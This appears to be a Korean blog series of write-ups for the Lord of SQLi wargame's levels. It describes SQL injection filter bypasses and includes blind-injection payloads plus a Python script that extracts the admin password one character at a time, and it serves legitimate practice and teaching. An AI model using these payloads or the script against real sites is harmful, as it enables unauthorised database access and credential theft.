LOS(los.eagle-jump.org) Troll 이번 문제는 id만 admin으로 맞추면 풀립니다. 그런데 ereg를 이용하여 admin문자를 필터링 하고 있습니다. 저 필터링을 우회하여 id부분에 admin을 넣어주면 됩니다. 저는 ereg가 대/소문자를 구분한다는 점과 select문이 대/소문자를 구분하지 않는 다는 점을 이용하여 id에 ADMIN을 넣어서 풀어줬습니다.
LOS(los.eagle-jump.org) Orge 이번 문제는 여지껏 풀었던 문제들을 합친 느낌의 문제입니다. 필터링 우회 + Blind SQLi 문제로 앞의 문제를 모두 이해하고 다 푸셨다면 어렵지 않게 푸실 수 있습니다. 다만 &의 경우 URL에 바로 입력하면 인식을 하지 못하므로 %26(&)을 넣어주셔야 합니다. 아래는 풀이 코드
LOS(los.eagle-jump.org) Darkelf 이번 문제도 조건문을 참으로 맞춰주면 되는데 기존에 잘 사용하던 'and'와 'or'를 필터링합니다. 필터를 우회하면 되는데 다양한 우회 방법이 있겠지만 저는 &&와 ||를 이용하기로 했습니다. admin으로 로그인해야 하기 때문에 where 뒤에 있는 [ id='guest' and pw='' ] 부분을 거짓으로 만들어주고 그 바로 뒤에 ||를 이용해 id='admin'을 넣어서 해결해줍니다.
LOS(los.eagle-jump.org) Wolfman 단순히 조건문만 참으로 맞추면 풀리는 문제입니다. 다만 5번째 줄에서 공백(Whitespace)을 필터링합니다. whitespace filter bypass에 대해 검색을 했고 여기서 필터링 우회 방법을 찾았습니다. 공백 대신에 /**/를 넣어 주고 조건문을 참으로 맞춰주면 풀립니다.
LOS(los.eagle-jump.org) Orc 이번 문제는 단순히 조건을 참으로 맞추는게 아니라 정확한 pw 값까지 맞춰야 한다. 위쪽 소스만 보면 단순히 조건문을 참으로 맞춰 Hello Admin을 띄울 수 있지만 마지막 2번째줄을 보면 입력한 pw값과 실제 pw값을 비교하여 참일경우 solve함수를 호출한다. pw값을 정확히 맞추기 위해서 사용할 수 있는 방법은 단순 Brute Forcing도 있지만 좀 더 확실한 방법으로 Bline SQL injection이 있다.
먼저 pw의 정확한 값을 얻어내야한다. 앞쪽 조건을 참 혹은 거짓으로 만든 뒤 뒤에 추가 조건문을 삽입한다. 이때 조건문에 length함수를 이용한다. 예를들면 ' or id='admin' and length(pw)=1# 이라는 조건문을 넣을 경우 id가 admindlaustj pw의 길이가 1인지 체크하는데 뒤에 숫자를 변경해가면서 정확한 pw의 길이를 구할 수 있다. 이때 조건이 참일 경우 Hello admin이 출력된다. (#은 주석문으로 뒤에 남아 있는 녀석들을 날려준다.)
그 뒤에 substr함수를 이용하여 정확한 pw값을 한글자 한글자씩 맞춘다. 예를들어 ' or id='admin' and substr(pw,1,1)=A#라고 할 경우 pw의 첫번째 문자열부터 한글자만 가져와서 A인지 아닌지 비교한다. pw의 첫번째 문자가 A가 맞다면 Hello admin이 출력된다. 결국 어느정도의 노가다(?)가 필요한데 이는 간단한 Python 스크립트를 이용하면 해결 할 수 있다. 아래가 풀이 코드.
import urllib2
import requests
flag = ""
length = 0
i = 1
session = dict(PHPSESSID = "f1gj7fcplbdp1iupb9jcn1sd20")
url = "https://los.eagle-jump.org/orc_47190a4d33f675a601f8def32df2583a.php?pw="
while True:
q = url + "' or id='admin' and length(pw)="+str(i)+"%23"
print 'TEST #',i
print q
r = requests.post(q, cookies=session)
if 'Hello admin' in r.text:
length = i
break
i = i + 1
print " PASSWORD LENGTH : ", length
for j in range(1, length +1):
for i in range(49,123):
q = url + "' or id='admin' and substr(pw, "+str(j)+",1)="+"'"+chr(i)+"'"+"%23"
print 'TEST #', j, '-', i
print q
r = requests.post(q,cookies=session)
if 'Hello admin' in r.text:
flag += chr(i)
print "FLAG : ",flag
break
이걸 풀때 시간이 좀 걸렸는데.. pw값을 추출하는 과정에서 substr(pw,1,1)='값' 이라는 부분이 있는데 처음엔 '값'이 아니라 값으로만 썼다. 이렇게 할때 문제가 숫자는 잘 뽑아내는데 문자를 제대로 비교할 수 없었다. 그래서 '값'으로 변경했더니 매우 잘 작동. '숫자'와 숫자를 같은 값으로 보고 '문자'와 문자는 다르게 보는듯.
LOS(los.eagle-jump.org) Goblin 이전 문제와 조금 더 달라졌다. 일단 no부분에 '와 " `를 쓸 수 없다. 그리고 현재 우리가 조작할 수 있는 것은 no값 뿐이며 id='guest'로 박혀있어서 기존 방법으로는 admin에 접근 할 수 없다. 그러니까 id='guest' 부분을 날리고 no만으로 admin에 접근하자.
LOS(los.eagle-jump.org) Gremlin id=toast&pw=newbie를 넘기면 친절하게도 위쪽에 전송되는 쿼리가 표시됩니다. id는 당연히 admin일거고 pw를 맞춰야 하는데 간단한 방법으로 슥삭 가능. 정확한 답은 남기진 않고 아래 clear된 쿼리만 공개함.